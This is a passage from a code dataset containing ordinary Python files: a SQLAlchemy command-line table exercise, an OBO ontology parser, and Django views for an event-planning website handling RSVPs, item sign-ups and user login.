{datatype_dict[column_datatype]}\n ''')\n # add the datetype to the list\n column_object = datatype_dict[column_datatype]\n column_datatype_list.append(column_object)\n break\n except ValueError:\n print('''\n Please enter a number corresponding to your desired datatype.\n ''')\n except KeyError:\n print('''\n Please enter a valid number from the Datatype Menu\n ''')\n while True:\n print(f'Column titles: {column_titles_list}')\n primary_key = input('Enter the title of the column you would like to set as the primary key: ')\n if primary_key in column_titles_list:\n break\n\n # create dictionary to use for table creation\n table_data_dict = {\n 'table_title': table_title,\n 'column_titles': column_titles_list,\n 'column_datatypes': column_datatype_list,\n 'primary_key': primary_key\n }\n \n return table_data_dict\n\ndef create_table(table_data_dict):\n \"\"\"use data stored as dictionary to create table\"\"\"\n\n column_args_list = []\n\n for num in range(len(table_data_dict['column_titles'])):\n column_set = sqlalchemy.Column(table_data_dict['column_titles'][num], table_data_dict['column_datatypes'][num])\n if table_data_dict['primary_key'] == column_set.name:\n column_set = sqlalchemy.Column(table_data_dict['column_titles'][num], table_data_dict['column_datatypes'][num], primary_key=True)\n column_args_list.append(column_set)\n else:\n column_args_list.append(column_set)\n\n new_table = sqlalchemy.Table(table_data_dict['table_title'], metadata, *column_args_list)\n metadata.create_all(engine)\n print('''\n Table has successfully been created.\n ''')\n return \n\ndef insert_data():\n \"\"\"for inserting a NEW record into our database\"\"\"\n\n field_list = []\n column_title_list = []\n column_field_dict = {}\n\n # initialize the necessary table\n while True:\n try:\n table_title = input('Enter the name of the table you would like to add data to: ')\n specific_table = sqlalchemy.Table(table_title, metadata, autoload=True, autoload_with=engine)\n break\n except NoSuchTableError:\n print('''\n Your table either does not exist or is not spelled correctly. Try again.\n ''')\n\n # print column titles and class object type to promt user to choose datatype this column requires \n for column in specific_table.columns:\n print(f'''\n Full column: {column}\n Column title: {column.name}\n Column datatype: {column.type}\n ''')\n\n # get field values the user wants to enter in\n while True:\n try:\n if isinstance(column.type, type(sqlalchemy.String())): \n field_value = input(f'Enter a string value for column {column.name.upper()}: ')\n field_list.append(field_value)\n column_title_list.append(column.name)\n break\n elif isinstance(column.type, type(sqlalchemy.Integer())):\n field_value = int(input(f'Enter an integer value for column {column.name.upper()}: '))\n field_list.append(field_value)\n column_title_list.append(column.name)\n break\n elif isinstance(column.type, type(sqlalchemy.Float())):\n field_value = float(input(f'Enter the float value for column {column.name.upper()}: '))\n field_list.append(field_value)\n column_title_list.append(column.name)\n break\n elif isinstance(column.type, type(sqlalchemy.Boolean())):\n field_value = bool(input(f'Enter a boolean value for column {column.name.upper()}'))\n field_list.append(field_value)\n column_title_list.append(column.name)\n break\n except ValueError:\n print('Looks like you entered in an invalid datatype. Try again.')\n\n for index, title in enumerate(column_title_list):\n column_field_dict[title] = field_list[index]\n\n pprint(f'Dictionary of column titles and values to insert: {column_field_dict}') \n\n insert_query = sqlalchemy.insert(specific_table).values(**column_field_dict)\n result_proxy = connection.execute(insert_query)\n print('''\n Insert Complete.\n ''')\n return\n\ndef update_data():\n \"\"\"for updating an EXISTING record in our database\"\"\"\n\n # initialize the table\n while True:\n try:\n table_name = input('Enter the name of the table which contains your record: ')\n specific_table = sqlalchemy.Table(table_name, metadata, autoload=True, autoload_with=engine)\n break\n except NoSuchTableError:\n print('''\n Your table either does not exist or is not spelled correctly. Try again.\n ''')\n\n # define update data\n print(f'Column titles: {specific_table.columns.keys()}')\n update_column = input('Enter your update column: ')\n\n for column in specific_table.columns:\n while True:\n try:\n if update_column == column.name and isinstance(column.type, type(sqlalchemy.String())):\n update_value = input('Enter your updated string value: ')\n elif update_column == column.name and isinstance(column.type, type(sqlalchemy.Integer())):\n update_value = int(input('Enter your updated integer value: '))\n elif update_column == column.name and isinstance(column.type, type(sqlalchemy.Float())):\n update_value = float(input('Enter your updated float value: '))\n elif update_column == column.name and isinstance(column.type, type(sqlalchemy.Boolean())):\n update_value = bool(input('Enter your updated boolean value: '))\n except ValueError:\n print('Looks like an invalid datatype was entered. Try again.')\n else:\n break\n update_dict = {update_column: update_value}\n\n # define where filter\n print(f'Column titles: {specific_table.columns.keys()}')\n where_column = input('Enter your where column: ')\n\n for column in specific_table.columns:\n while True:\n try:\n if column.name == where_column and isinstance(column.type, type(sqlalchemy.String())):\n where_value = input('Enter your where-filter string value: ')\n elif column.name == where_column and isinstance(column.type, type(sqlalchemy.Integer())):\n where_value = int(input('Enter your where-filter integer value: '))\n elif column.name == where_column and isinstance(column.type, type(sqlalchemy.Float())):\n where_value = float(input('Enter your where-filter float value: '))\n elif column.name == where_column and isinstance(column.type, type(sqlalchemy.Boolean())):\n where_value = bool(input('Enter your where-filter boolean value: '))\n except ValueError:\n print('Looks like an invalid datatype was entered. Try again.')\n else:\n break\n\n update_query = sqlalchemy.update(specific_table).values(**update_dict).where(\n specific_table.columns[where_column] == where_value)\n result_proxy = connection.execute(update_query)\n print('''\n Update Complete.\n ''')\n return\n\ndef select_data():\n \"\"\"for reading data from the database\"\"\"\n \n while True:\n try:\n table_name = input('Enter the name of the table you would like to read from: ')\n specific_table = sqlalchemy.Table(table_name, metadata, autoload=True, autoload_with=engine)\n break\n except NoSuchTableError:\n print('''\n Your table either does not exist or is not spelled correctly. Try again.\n ''')\n\n query = sqlalchemy.select([specific_table])\n result_proxy = connection.execute(query)\n result_set = result_proxy.fetchall()\n pprint(result_set)\n return\n\n# set up MYSQL database connection\nsecret = os.environ['MYSQL_PASS']\nengine = sqlalchemy.create_engine(f'mysql+pymysql://root:{secret}@localhost/TravelCompany')\nconnection = engine.connect()\nmetadata = sqlalchemy.MetaData()\n\n# initialize datatype dict; global because multiple functions need to access it\ndatatype_dict = {\n 1: sqlalchemy.String(500),\n 2: sqlalchemy.Integer(),\n 3: sqlalchemy.Float(),\n 4: sqlalchemy.Boolean()\n}\n\n## call functions\n# user_choice = menu_select()\n# table_data_dict = table_column_datatype()\n# create_table(table_data_dict)\n# insert_data()\nupdate_data()\n# select_data()","sub_path":"databases/Exercise_04.py","file_name":"Exercise_04.py","file_ext":"py","file_size_in_byte":11579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"321864633","text":"# Code to import each obo term into a python class object\n# Copyright Royal Philips 2016\n# Author: Alex Mankovich, alex.mankovich@philips.com, Philips Research North America\n\nimport re\n\nclass oboTerm:\n\t#class for maintaining obo data structure for each term \n\tdef __init__(self):\n\t\tself.ids = []\n\t\tself.names = []\n\t\tself.namespaces = []\n\t\tself.alt_ids = []\n\t\tself.defs = []\n\t\tself.comments = []\n\t\tself.subsets = []\n\t\tself.synonyms = []\n\t\tself.xrefs = []\n\t\tself.is_as = []\n\t\tself.created_bys = []\n\t\tself.creation_dates = []\n\n\tdef add_id(self, identifier):\n\t\tself.ids.append(identifier)\n\n\tdef add_name(self, name):\n\t\tself.names.append(name)\n\n\tdef add_namespace(self, namespace):\n\t\tself.namespaces.append(namespace)\n\n\tdef add_alt_id(self, alt_id):\n\t\tself.alt_ids.append(alt_id)\n\n\tdef add_def(self, definition):\n\t\tself.defs.append(definition)\n\n\tdef add_comment(self, comment):\n\t\tself.comments.append(comment)\n\n\tdef add_subset(self, subset):\n\t\tself.subsets.append(subset)\n\n\tdef add_synonym(self, synonym):\n\t\tself.synonyms.append(synonym)\n\n\tdef add_xref(self, xref):\n\t\tself.xrefs.append(xref)\n\n\tdef add_is_a(self, is_a):\n\t\tself.is_as.append(is_a)\n\n\tdef add_created_by(self, created_by):\n\t\tself.created_bys.append(created_by)\n\n\tdef add_creation_date(self, creation_date):\n\t\tself.creation_dates.append(creation_date)\n\ndef buildDB(file):\n\tcount=-1\n\tterms = []\n\tfor line in file:\n\t\t#find term attributes, restructure, store\n\t\tif re.match(\"id:(.*)\",line):\n\t\t\tcount += 1\n\t\t\tterms.append(None)\n\t\t\t# print(terms[count])\n\t\t\tterms[count] = oboTerm()\n\t\t\tterms[count].add_id(re.sub(\"id: \",\"\",re.sub(r\"\\n\",\"\",line)))\n\t\telif re.match(\"name:(.*)\",line):\n\t\t\tterms[count].add_name(re.sub(\"name: \",\"\",re.sub(r\"\\n\",\"\",line)))\n\t\telif re.match(\"namespace:(.*)\",line):\n\t\t\tterms[count].add_namespace(re.sub(\"namespace: \",\"\",re.sub(r\"\\n\",\"\",line)))\n\t\telif re.match(\"alt_id:(.*)\",line):\n\t\t\tterms[count].add_alt_id(re.sub(\"alt_id: \",\"\",re.sub(r\"\\n\",\"\",line)))\n\t\telif re.match(\"def:(.*)\",line):\n\t\t\tterms[count].add_def(re.sub(\"def: \",\"\",re.sub(r\"\\n\",\"\",line)))\n\t\telif re.match(\"comment:(.*)\",line):\n\t\t\tterms[count].add_comment(re.sub(\"comment: \",\"\",re.sub(r\"\\n\",\"\",line)))\n\t\telif re.match(\"subset:(.*)\",line):\n\t\t\tterms[count].add_subset(re.sub(\"subset: \",\"\",re.sub(r\"\\n\",\"\",line)))\n\t\telif re.match(\"synonym:(.*)\",line):\n\t\t\tterms[count].add_synonym(re.sub(\"synonym: \",\"\",re.sub(r\"\\n\",\"\",line)))\n\t\telif re.match(\"xref:(.*)\",line):\n\t\t\tterms[count].add_xref(re.sub(\"xref: \",\"\",re.sub(r\"\\n\",\"\",line)))\n\t\telif re.match(\"is_a:(.*)\",line):\n\t\t\tterms[count].add_is_a(re.sub(\"is_a: \",\"\",re.sub(r\"\\n\",\"\",line)))\n\t\telif re.match(\"created_by:(.*)\",line):\n\t\t\tterms[count].add_created_by(re.sub(\"created_by: \",\"\",re.sub(r\"\\n\",\"\",line)))\n\t\telif re.match(\"creation_date:(.*)\",line):\n\t\t\tterms[count].add_creation_date(re.sub(\"creation_date: \",\"\",re.sub(r\"\\n\",\"\",line)))\n\t\telif re.search(\"\\[Typedef\\]\",line): #entry contains metadata at EOF and not useful, skip\n\t\t\tbreak\n\t\telif re.search(\"\\[Term\\]\",line):\n\t\t\tcontinue #entry not useful, skip\n\t\telif line in ['\\n', '\\r\\n']:\n\t\t\tcontinue #entry empty, skip\n\t\telse:\n\t\t\tcontinue #entry not recognized, skip\n\treturn terms\n","sub_path":"pten/ElasticSearch/parse_obo.py","file_name":"parse_obo.py","file_ext":"py","file_size_in_byte":3113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"360638800","text":"from django.contrib.auth import authenticate, login, logout\nfrom django.contrib import messages\nfrom django.shortcuts import render, render_to_response, redirect\nfrom django.views.generic import DetailView\nimport random, string\nfrom .forms import *\nfrom .forms import userLoginForm\nfrom django.forms import formset_factory\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom django.contrib.auth.models import User\nfrom django.template import RequestContext\nfrom django.contrib.auth.decorators import login_required\nfrom django.conf import settings\nfrom django.contrib.auth.hashers import check_password\nfrom django.shortcuts import get_object_or_404\nfrom datetime import date\nfrom mail_service import create_recipient_list, sendEmailToAtendees, sendItemsEmailUpdate, sendEventChangeNotification\n\nWEBSITENAME = 'Eventure'\ngroupIDLength = 12\nuserIDLength = 8\nfrom django.views import View\n\n\n# Create your views here.\ndef anonymousUserMapping(attendee, eventInfo, eventId):\n rsvpStatus = getRSVPStatus(attendee.RSVPStatus)\n address = getParsedEventAddr(eventInfo.id)\n guests = Attendee.objects.filter(eventID=eventInfo.id, RSVPStatus=3)\n itemsBroughtTuple = getItemsSignUpFor(eventId, attendee)\n\n itemFormTuple = getItemsForDisplayEvent(eventInfo.id)\n return {\n 'attendee': attendee,\n 'eventInfo': eventInfo,\n 'address': address,\n 'rsvpStatus': rsvpStatus,\n 'guests': guests,\n 'itemFormTuple': itemFormTuple,\n 'itemsBroughtTuple': itemsBroughtTuple\n }\n\n\ndef getItemsForDisplayEvent(eventID):\n allEventItems = Item.objects.filter(eventID=eventID)\n itemsTaken = TakenItem.objects.filter(eventID=eventID)\n # print(\"items:\", allEventItems)\n # print(\"itemsTaken:\", itemsTaken)\n formList = []\n itemList = []\n stillNeed = []\n prefix = 0\n\n for item in allEventItems:\n sum = 0\n amountTakenOfItem = itemsTaken.filter(itemLinkID=item.itemID)\n for takenItem in amountTakenOfItem:\n sum += takenItem.quantity\n itemsBrought = sum\n item.amountTaken = itemsBrought\n amountNeeded = item.amount - sum\n if amountNeeded == 0:\n item.isTaken = True\n else:\n item.isTaken = False\n\n item.save()\n\n if item.isTaken == False:\n # print(item, \"Amount Needed:\", item.amountTaken)\n itemForm = takeItemForm(amountNeeded, prefix='{}{}'.format(\"form\", prefix))\n formList.append(itemForm)\n # print(\"Item Form:\", itemForm)\n itemList.append(item)\n stillNeed.append(amountNeeded)\n prefix = prefix + 1\n\n return zip(itemList, formList, stillNeed)\n\n\ndef getItemsSignUpFor(eventID, attendee):\n itemsTaken = TakenItem.objects.filter(eventID=eventID).filter(attendeeID=attendee)\n # print(\"items:\", allEventItems)\n # print(\"itemsTaken:\", itemsTaken)\n formList = []\n itemList = []\n stillNeed = []\n prefix = 0\n\n for item in itemsTaken:\n itemForm = broughtItemForm(item.quantity, item.itemLinkID.amount, prefix='{}{}'.format(\"takening\", prefix))\n formList.append(itemForm)\n # print(\"Item Form:\", itemForm)\n itemList.append(item)\n stillNeedAmount = item.itemLinkID.amount - item.itemLinkID.amountTaken\n stillNeed.append(stillNeedAmount)\n prefix = prefix + 1\n\n return zip(itemList, formList, stillNeed)\n\n\ndef assignSelectedItems(event, itemDict, attendeeId):\n eventID = event.id\n\n # Get all items from event\n allEventItems = Item.objects.filter(eventID=eventID)\n\n # Get all items that someone signed up for\n itemsTaken = TakenItem.objects.filter(eventID=eventID)\n\n # Get this attendee\n attendee = Attendee.objects.get(attendeeID=attendeeId)\n\n # Get all items that THIS attendee signed up for\n attendeeSignedUp = itemsTaken.filter(attendeeID=attendee)\n\n print(\"All Items\")\n for item in allEventItems:\n amountTakenOfItem = itemsTaken.filter(itemLinkID=item.itemID).first()\n if amountTakenOfItem != None:\n if amountTakenOfItem.quantity == item.amount:\n print(\"item:\", item, \"is all brought\")\n allEventItems = allEventItems.exclude(itemID=item.itemID)\n print(\"item:\", item, \"amount taken:\", amountTakenOfItem)\n print(\"\")\n\n sortedDicList = sorted(itemDict.items())\n print(sortedDicList)\n\n # This will hold items that were selected, i.e. formVal != 0\n ItemSelectedArray = []\n\n # Go through each form, if the from value was not zero\n # Grab the corresponding value of that form\n # Save the value and the item as tuple into an array\n for tuple, item in zip(sortedDicList, allEventItems):\n valueOfForm = int(tuple[1])\n if valueOfForm != 0:\n ItemSelectedArray.append((item, valueOfForm))\n print(\"Tuple:\", tuple[1])\n\n print(\"\")\n\n # Search brought items\n # Check if user is registered for that item\n # If so modify\n # else create listing\n for itemB in ItemSelectedArray:\n listing = attendeeSignedUp.filter(itemLinkID=itemB[0]).first()\n if listing != None:\n quantitySignedUpFor = itemB[1]\n if listing.quantity + quantitySignedUpFor > itemB[0].amount:\n # print(\"********************************************\")\n # print(\"exceeding Maximum\")\n # print(\"listing:\",listing)\n # print(\"listing.quantity:\", listing.quantity)\n # print(\"amount of item:\",quantitySignedUpFor)\n # print(\"Exceeds maximum by:\", (listing.quantity + quantitySignedUpFor)- itemB[0].amount)\n # print(\"********************************************\")\n\n listing.quantity = itemB[0].amount\n itemB[0].amountTaken += itemB[1]\n listing.save()\n else:\n\n listing.quantity += quantitySignedUpFor\n listing.save()\n itemB[0].amountTaken += itemB[1]\n else:\n print(\"New listing\")\n itemB[0].amountTaken += itemB[1]\n newListing = TakenItem(attendeeID=attendee, itemLinkID=itemB[0],\n eventID=event, quantity=itemB[1])\n newListing.save()\n\n print(\"Item\", itemB[0], \"Value\", itemB[1])\n print(\"Listing:\", listing)\n\n\n# for key, value in sorted(itemDict.items()):\n#\tprint(\"Key:\", key, \"Value:\", value)\n\n\ndef editBroughtItems(attendee, editedItemDict):\n # Get this attendee\n\n # Get all items that THIS attendee signed up for\n takenItems = TakenItem.objects.filter(attendeeID=attendee)\n\n sortedDictList = sorted(editedItemDict.items())\n\n for dict, item in zip(sortedDictList, takenItems):\n ##print(\"Editted Item Dict:\", dict[0], \"value:\",dict[1])\n ##print(\"Item Taken Filter:\",item)\n formValue = int(dict[1])\n if formValue == 0:\n print(\"deleting:\", item)\n item.delete()\n elif (formValue != item.quantity):\n print(\"Item Change:\", item)\n item.quantity = formValue\n item.save()\n\n\ndef setRsvpStatus(request, attendee):\n if request.POST.get(\"ATTENDING\"):\n setattr(attendee, \"RSVPStatus\", 3)\n elif request.POST.get(\"MAYBE\"):\n setattr(attendee, \"RSVPStatus\", 2)\n elif request.POST.get(\"NOTATTENDING\"):\n setattr(attendee, \"RSVPStatus\", 1)\n attendee.save()\n\n\nclass attendeeEventDisplay(View):\n template_name = 'displayEvent.html'\n userId = UserProfile\n eventInfo = EventInfo\n attendee = Attendee\n groupId = ''\n attendeeId = ''\n\n def get(self, request, *args):\n argList = list(args)\n print(len(argList))\n if (len(argList) >= 2):\n self.groupId = argList[0]\n self.attendeeId = argList[1]\n self.eventInfo = EventInfo.objects.get(id=self.groupId)\n self.attendee = Attendee.objects.get(attendeeID=self.attendeeId)\n mapping = anonymousUserMapping(self.attendee, self.eventInfo, self.groupId)\n return render(request, self.template_name, mapping)\n\n def post(self, request, *args, **kwargs):\n argList = list(args)\n if (len(argList) >= 2):\n self.groupId = argList[0]\n self.attendeeId = argList[1]\n self.eventInfo = EventInfo.objects.get(id=self.groupId)\n self.attendee = Attendee.objects.get(attendeeID=self.attendeeId)\n\n setRsvpStatus(request, self.attendee)\n groupId = args[0]\n self.eventInfo = EventInfo.objects.get(id=groupId)\n rsvpStatus = getRSVPStatus(getattr(self.attendee, \"RSVPStatus\"))\n\n guests = Attendee.objects.filter(eventID=groupId, RSVPStatus=3)\n\n address = getParsedEventAddr(self.eventInfo.id)\n\n # Create a dictionary from querydictionary\n dictionaryOfForms = request.POST.dict()\n dictionaryOfNeeded = {}\n dictionaryOfBringing = {}\n # remove csrf token\n for key, value in dictionaryOfForms.items():\n if key.startswith(\"form\"):\n dictionaryOfNeeded[key] = value\n if key.startswith(\"takening\"):\n dictionaryOfBringing[key] = value\n\n editBroughtItems(self.attendee, dictionaryOfBringing)\n assignSelectedItems(self.eventInfo, dictionaryOfNeeded, self.attendeeId)\n\n itemFormTuple = getItemsForDisplayEvent(self.eventInfo.id)\n itemsBroughtTuple = getItemsSignUpFor(self.eventInfo.id, self.attendee)\n\n mapping = {\n 'attendee': self.attendee,\n 'eventInfo': self.eventInfo,\n 'address': address,\n 'rsvpStatus': rsvpStatus,\n 'guests': guests,\n 'itemFormTuple': itemFormTuple,\n 'itemsBroughtTuple': itemsBroughtTuple,\n }\n\n return render(request, self.template_name, mapping)\n\n\ndef register(request):\n registered = False\n\n if request.method == 'POST':\n\n # Get info from \"both\" forms\n # It appears as one form to the user on the .html page\n user_form = UserForm(request.POST)\n user_profile_form = RegisterForm(request.POST)\n\n # Check to see both forms are valid\n if user_form.is_valid() and user_profile_form.is_valid():\n # Save User Form to Database\n user = user_form.save()\n\n # Hash the password\n user.set_password(user.password)\n\n # Update with Hashed password\n user.save()\n\n # Can't commit yet because we still need to manipulate\n profile = user_profile_form.save(commit=False)\n\n # Set One to One relationship between\n # UserForm and UserProfileInfoForm\n profile.user = user\n\n # Check if they provided a profile picture\n # if 'profilePhoto' in request.FILES:\n # print('found it')\n # If yes, then grab it from the POST form reply\n # profile.profilePic = request.FILES['profilePhoto']\n\n # Now save model\n profile.save()\n\n # Registration Successful!\n registered = True\n\n else:\n # Was not an HTTP post so we just render the forms as blank.\n user_form = UserForm()\n user_profile_form = RegisterForm()\n\n # This is the render and context dictionary to feed\n # back to the registrationPage.html file page.\n mapping = {'user_form': user_form,\n 'user_profile_form': user_profile_form,\n 'registered': registered,\n }\n\n return render(request, 'registrationPage.html', mapping)\n\n\ndef displayEventForExistentUser(request, groupID, userID):\n currentEvent = EventInfo.objects.filter(id=groupID)\n user = UserProfile.objects.filter(id=request.user.id)\n\n\ndef index(request):\n return render(request, 'index.html', {})\n\n\nclass newIndex(View):\n def get(self, request):\n publicEvents = getAllPublicEvents()\n print(publicEvents)\n mapping = {\n 'publicEvents': publicEvents,\n 'media_url': settings.MEDIA_URL + 'event_photos/'\n }\n return render(request, 'newIndex.html', mapping)\n\n\n################## /createEvent ###################\ndef createEvent(request):\n if(not request.user.is_authenticated):\n return HttpResponseRedirect('/')\n\n EmailFormSet = formset_factory(EmailInviteeForm)\n ItemFormSet = formset_factory(ItemForm)\n\n ## This is the eventID that will be assigned to email invitees\n eventID = 0\n newEvent = None\n if request.method == 'POST':\n eventForm = CreateEventForm(request.POST, request.FILES)\n\n if eventForm.is_valid():\n eventID = createAlphanumericSequence(groupIDLength)\n creatingUser = findUser(request.user.id)\n eventType = eventForm.cleaned_data[\"type\"]\n name = eventForm.cleaned_data[\"name\"]\n location = eventForm.cleaned_data[\"location\"]\n date = eventForm.cleaned_data[\"date\"]\n time = eventForm.cleaned_data[\"time\"]\n description = eventForm.cleaned_data[\"description\"]\n eventCategory = eventForm.cleaned_data[\"eventCategory\"]\n\n newEvent = EventInfo(id=eventID, userProfile=creatingUser, type=eventType,\n name=name, location=location, date=date,\n time=time, description=description,\n eventCategory=eventCategory)\n if 'eventPhoto' in request.FILES:\n newEvent.eventPhoto = request.FILES['eventPhoto']\n else:\n newEvent.eventPhoto = getDefaultPicture(eventCategory)\n print(\"DEFAULT\\n\\n\")\n newEvent.save()\n printEventInfo(newEvent)\n\n inviteToEventFormset = EmailFormSet(request.POST, prefix='invitee')\n if inviteToEventFormset.is_valid():\n for invite in inviteToEventFormset:\n if invite.has_changed():\n emailUserID = createAlphanumericSequence(userIDLength)\n email = invite.cleaned_data[\"email\"]\n userAttendeeID = -1\n\n foundUser = findUserViaEmail(email)\n if (foundUser):\n userAttendeeID = foundUser.id\n\n newEmailInvitee = Attendee(attendeeName=email, attendeeID=emailUserID,\n eventID=newEvent, email=email, RSVPStatus=1,\n userAttendeeID=userAttendeeID)\n ## Printing\n emailLink = createInviteLink(newEvent, newEmailInvitee)\n print('{}{}'.format(\"\\t\", emailLink))\n ##Add email to a recipient List\n #create_recipient_list(email, emailLink)\n ## Saving\n newEmailInvitee.save()\n\n itemCreationFormset = ItemFormSet(request.POST, prefix='item')\n if itemCreationFormset.is_valid():\n for item in itemCreationFormset:\n if item.has_changed():\n itemName = item.cleaned_data[\"itemName\"]\n itemAmount = item.cleaned_data[\"amount\"]\n\n newItem = Item(eventID=newEvent, name=itemName, amount=itemAmount)\n\n printItemInfo(newItem)\n newItem.save()\n\n if eventForm.is_valid():\n print('***********************************')\n #sendEmailToAtendees(newEvent)\n return HttpResponseRedirect('/landingPage')\n else:\n eventForm = CreateEventForm()\n inviteToEventFormset = EmailFormSet(prefix='invitee')\n itemCreationFormset = ItemFormSet(prefix='item')\n\n mapping = {\n 'eventForm': eventForm,\n 'itemCreationFormset': itemCreationFormset,\n 'inviteToEventFormset': inviteToEventFormset,\n }\n return render(request, 'createEvent.html', mapping)\n\n\n################userLogin(request)#########################\ndef userLogin(request):\n if request.method == 'POST':\n loginForm = userLoginForm(request.POST)\n if loginForm.is_valid():\n username = loginForm.cleaned_data['username']\n password = request.POST['password']\n user = authenticate(username=username, password=password)\n if user is not None:\n if user.is_active:\n login(request, user)\n return redirect('/')\n else:\n messages.info(request, 'Sorry, this uses is not in our databse')\n return redirect('userLogin')\n else:\n messages.info(request, 'Sorry, wrong password/username.\\n please try again\\n')\n return redirect('userLogin')\n else:\n loginForm = userLoginForm()\n return render(request, 'userLogin.html', {'loginForm': loginForm})\n\n\ndef userLogout(request):\n logout(request)\n return HttpResponseRedirect('/')\n\n\ndef landingPageView(request):\n if request.method == 'GET':\n currentUser = findUser(request.user.id)\n userID = currentUser.id\n\n allEvents = EventInfo.objects.filter(userProfile_id=userID).order_by('date')\n attendees = Attendee.objects.filter(userAttendeeID=userID)\n\n mapping = {\n 'currentUser': currentUser,\n 'allEvents': allEvents,\n 'media_url': settings.MEDIA_URL + 'event_photos/',\n 'attendees': attendees,\n }\n\n return render(request, 'landingPage.html', mapping)\n\n\ndef myEventsPageView(request):\n if request.method == 'GET':\n currentUser = findUser(request.user.id)\n userID = currentUser.id\n\n allEvents = EventInfo.objects.filter(userProfile_id=userID).order_by('date')\n attendees = Attendee.objects.filter(userAttendeeID=userID)\n\n mapping = {\n 'currentUser': currentUser,\n 'allEvents': allEvents,\n 'media_url': settings.MEDIA_URL + 'event_photos/',\n 'attendees': attendees,\n }\n\n return render(request, 'myEventsPage.html', mapping)\n\n\ndef eventHomePageView(request, groupID):\n instance = EventInfo.objects.get(id=groupID)\n currentEvent = EventInfo.objects.get(id=groupID)\n guests = Attendee.objects.filter(eventID=groupID, RSVPStatus=3)\n items = Item.objects.filter(eventID=groupID)\n\n mapping = {\n 'currentEvent': currentEvent,\n 'guests': guests,\n 'items': items,\n # 'itemCreationFormset': itemCreationFormset,\n }\n\n if (request.user.is_authenticated): # if they are a user\n currentUser = findUser(request.user.id)\n if currentUser == instance.userProfile:\n return render(request, 'hostEventHomePage.html', mapping)\n elif currentEvent.type == False:\n return render(request, 'eventHomePage.html', mapping)\n else:\n return render(request, 'thisIsPrivate.html')\n elif currentEvent.type == False:\n return render(request, 'eventHomePage.html', mapping)\n else:\n return render(request, 'thisIsPrivate.html')\n\n\n############################## Edit ##########################################\ndef edit(request, eventID):\n instance = EventInfo.objects.get(id=eventID)\n if (request.user.is_authenticated):\n currentUser = findUser(request.user.id)\n\n ### Formset Setup\n EmailFormSet = formset_factory(EmailInviteeForm)\n ItemFormSet = formset_factory(ItemForm, extra=3)\n\n if currentUser == instance.userProfile:\n currentEvent = EventInfo.objects.get(id=eventID)\n guests = Attendee.objects.filter(eventID=eventID, RSVPStatus=3)\n items = Item.objects.filter(eventID=eventID)\n invited = Attendee.objects.filter(eventID=eventID)\n\n itemList = []\n prefix = 2\n form = CreateEventForm(request.POST or None, request.FILES or None\n , instance=instance, prefix='form1')\n itemForm = None\n\n if request.method == 'POST':\n ### For adding NEW items\n ##################################################################################\n itemCreationFormset = ItemFormSet(request.POST, prefix='item')\n for item in itemCreationFormset:\n if item.is_valid():\n if item.has_changed():\n\n itemName = item.cleaned_data[\"itemName\"]\n itemAmount = item.cleaned_data[\"amount\"]\n if (itemAmount != 0):\n newItem = Item(eventID=currentEvent, name=itemName, amount=itemAmount)\n newItem.save()\n printItemInfo(newItem)\n ##sendEventChangeNotification(currentEvent)\n\n ##################################################################################\n\n ### For adding NEW attendees\n ##################################################################################\n inviteToEventFormset = EmailFormSet(request.POST, prefix='invitee')\n if inviteToEventFormset.is_valid():\n for invite in inviteToEventFormset:\n if invite.has_changed():\n emailUserID = createAlphanumericSequence(userIDLength)\n email = invite.cleaned_data[\"email\"]\n userAttendeeID = -1\n\n foundUser = findUserViaEmail(email)\n if (foundUser):\n userAttendeeID = foundUser.id\n\n newEmailInvitee = Attendee(attendeeName=email, attendeeID=emailUserID,\n eventID=currentEvent, email=email, RSVPStatus=1,\n userAttendeeID=userAttendeeID)\n ## Printing\n emailLink = createInviteLink(currentEvent, newEmailInvitee)\n print('{}{}'.format(\"\\t\", emailLink))\n ###create_recipient_list(email, emailLink)\n\n ## Saving\n newEmailInvitee.save()\n ###sendEmailToAtendees(currentEvent)\n ##################################################################################\n\n ### For editing CURRENT items\n ################################################\n for item in items:\n itemInstance = Item.objects.get(itemID=item.itemID)\n if (item.amount != 0):\n itemForm = itemMForm(request.POST, instance=itemInstance\n , prefix='{}{}'.format(\"form\", prefix))\n\n if itemForm.is_valid():\n itemAmountPosted = itemForm.cleaned_data['amount']\n itemName = itemForm.cleaned_data['name']\n ### Notify users of item change\n if (item.amount != itemAmountPosted or item.name != itemName):\n deleteItemsBrought(item)\n itemForm.cleaned_data['amount'] = 0\n print(\"itemAmountTaken Before:\", item.amountTaken)\n\n print(\"itemAmountTaken After:\", item.amountTaken)\n\n if (itemAmountPosted == 0):\n itemInstance.delete()\n else:\n itemForm.save()\n else:\n if (itemAmountPosted == 0):\n itemInstance.delete()\n else:\n itemForm.save()\n\n prefix = prefix + 1\n ################################################\n\n if form.is_valid():\n form.save()\n newurl = '/event/' + currentEvent.id\n return HttpResponseRedirect(newurl)\n\n mapping = {\n 'itemCreationFormset': itemCreationFormset,\n 'inviteToEventFormset': inviteToEventFormset,\n 'currentEvent': currentEvent,\n 'guests': guests,\n 'items': items,\n 'form': form,\n 'itemForm': itemList,\n 'invited': invited,\n }\n return render(request, 'editEvent.html', mapping)\n elif request.method == 'GET':\n\n inviteToEventFormset = EmailFormSet(prefix='invitee')\n itemCreationFormset = ItemFormSet(prefix='item')\n ################################################\n for item in items:\n itemInstance = Item.objects.get(itemID=item.itemID)\n itemForm = itemMForm(instance=itemInstance\n , prefix='{}{}'.format(\"form\", prefix))\n itemList.append(itemForm)\n prefix = prefix + 1\n ################################################\n mapping = {\n 'itemCreationFormset': itemCreationFormset,\n 'inviteToEventFormset': inviteToEventFormset,\n 'currentEvent': currentEvent,\n 'guests': guests,\n 'items': items,\n 'form': form,\n 'itemForm': itemList,\n 'invited': invited,\n }\n return render(request, 'editEvent.html', mapping)\n return HttpResponseRedirect('/')\n\n return HttpResponseRedirect('/')\n\n\ndef SearchEvent(request):\n if request.method == 'GET':\n searchevent = SearchEvent()\n mapping = {\n 'searchevent': searchevent\n }\n return render(request, 'SearchEvent.html', mapping)\n if request.method == 'POST':\n return render(request, 'SearchEvent.html', mapping)\n return HttpResponseRedirect('/')\n\n\n######################## None View Functions #################################\n###############################################################################\n\n\ndef deleteItemsBrought(Item):\n print(\"item updated:\", Item.name)\n eventName = Item.eventID.name\n hostName = Item.eventID.userProfile.firstName + \" \" + Item.eventID.userProfile.lastName\n itemName = Item.name\n\n # Get all items from event\n allEventItems = 